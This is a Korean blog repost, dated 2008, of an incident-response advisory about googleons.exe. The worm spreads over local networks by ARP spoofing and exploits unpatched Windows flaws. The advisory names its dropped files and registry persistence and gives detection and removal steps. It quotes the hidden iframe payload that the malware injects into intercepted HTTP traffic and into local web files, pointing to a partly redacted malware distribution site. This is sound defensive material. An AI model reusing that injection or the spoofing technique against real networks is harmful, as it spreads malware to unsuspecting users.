'ARP Spoofing'에 해당되는 글 1건

  1. 2008.11.24 ARP Spoofing
2008. 11. 24. 11:42

ARP Spoofing


1. 개요

(1)  최근 국내에서 ARP Spoofing을 통해 감염되고,

      감염 시 네트워크를 마비시키는 악성코드가 등장하여 주의가 필요함.
(2)  특히 네트워크 관리자는 내부 네트워크에서 ARP Spoofing 공격 여부를

      주기적으로 탐지하고 공격 근원지를 파악하여

      관련 악성코드가 실행 및 다운로드 되지 않도록 주의가 필요함.

 

 

 

2. 전파방법

(1)  최초 googleons.exe에 감염된 PC는 ARP Spoofing 공격

 -   해당 악성코드 감염시 네트워크에 존재하는 호스트 및 게이트웨이를 대상으로

      ARP Reply를 지속적으로 보냄.

 -   게이트웨이의 MAC 주소와 공격대상 호스트의 MAC 주소를 위조하는 ARP Reply를

      지속적으로 보냄.

(2)  감염된 PC와 동일 네트워크에 연결되어 있는 호스트들은

      감염된 PC를 게이트웨이로 인식하게 하여 모든 패킷을 모니터링 및 변조할 수 있음.

 -   ARP Spoofing 공격으로 정상 호스트가 웹 접속 시 감염 PC는 패킷을 가로채고

      아래와 같은 정보를 삽입해 악성코드 유포지 사이트로 유도.

      "<iframe src=http://down.online[생략].net/page/image/zzh.htm height=0></iframe>"

(3)  악성코드 유포지 down.online[생략].net으로 유도된 PC중

      아래와 같은 윈도우 취약점 패치가 안된 사이트는 googleons.exe에 감염됨.

 -   MS05-025
 -   MS06-014
 -   MS07-017
 -   MS07-027

 

 

 

3. 악성행위 (googleons.exe)

(1)  감염 PC와 동일 네트워크 대역 ARP Spoofing 공격.

(2)  동일 네트워크에 존재하는 PC들의 HTTP 통신 패킷 변조.

      "<iframe src=http://down.online[생략].net/page/image/zzh.htm height=0></iframe>

      </IFRAME P ?</IFRAME IFRAME " 삽입.

(3)  USB를 통한 악성코드 전파.

(4)  감염 PC에 존재하는 .html, tml, asp, php, jsp 확장자에 아래와 같은 악성코드 삽입.

      "<iframe src=http://down.online[생략].net/page/image/pd.htm height=0></iframe>

      </IFRAME P ?</IFRAME IFRAME "

(5)  감염시 생성되는 파일

 -    C:\Document and Settings\[계정]\Local Settings\Temp
       autoexec.bat (down.exe 최초 감염 악성코드, googleons.exe를 다운로드 및 실행)

       googleons.exe 
       disocoo.exe (실행뒤 삭제)
       npptools.dll
       Packet.dll
       WanPacket.dll
       yahoons.exe (실행뒤 삭제)

 -    C:\windows\system32 (yahoons.exe 실행에 의해 생성되는 파일들)
       dllhost32.exe
       mh104.dll
       moyu103.dll
       mosou.exe
       mydata.exe
       nwizwmgjs.exe
       nwizwmgjs.dll
       nwizzhuxians.exe
       nwizzhuxians.dll
       RAV00xx.exe등 다수

 

(6)  부팅 후 재시작 할 수 있는 레지스트리에 등록.

 -   HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

 -   이름 : svc

 -   파일 이름 : googleons.exe

 

 

 

4. 감염여부 확인 및 치료방법

(1)  감염여부 확인
 -    L3 또는 라우터에서 감염 PC 확인.

      중복 MAC 주소 IP 확인 (악성코드 감염 IP 확인).

 

 -   ARP Spoofing 피해 PC에서 공격 PC 확인.

      전체 네트워크 Ping 스캔.

      중복 MAC 주소 IP 확인.

 

      

 

 -   악성코드 감염 및 ARP Spoofing 공격 PC 확인.

      C:\Document and Settings\[계정]\Local Settings\Temp\googleons.exe

      존재여부 확인

      googleons.exe 프로세스 실행여부 확인 [아래 치료방법 참조]

 

(2)  치료방법
 -   C:\Document and Settings\[계정]\Local Settings\Temp 하위 악성코드들 삭제.

 

     

 

 -   윈도우 시스템 폴더에 존재하는 악성코드들 삭제.

 

     

 

 -   googleons.exe 프로세스 끝내기.

      [Ctrl + Alt + Del] 클릭 후 프로세스 메뉴에서 googleons.exe 프로세스 종료.

 

     

 

 -   레지스트리 삭제.

 ①  googleons 재시작 레지스트리 삭제.

      [시작] → [실행] 선택, "regedit" 입력 후 악성코드가 생성한 아래의 레지스트리 삭제.

      HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

 ②  기타 악성코드 레지스트리 삭제.

      [시작] → [실행] 선택, "regedit" 입력 후 악성코드가 생성한 아래의 레지스트리 삭제.

      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

 

 

 

5. 예방 방법

(1)  감염을 위한 사전 예방 방법

 -    윈도 OS 최신 패치 실시.

 

     

 

 

 ※ 출처 : 인터넷 침해사고 대응지원센터

Trackback 0 Comment 0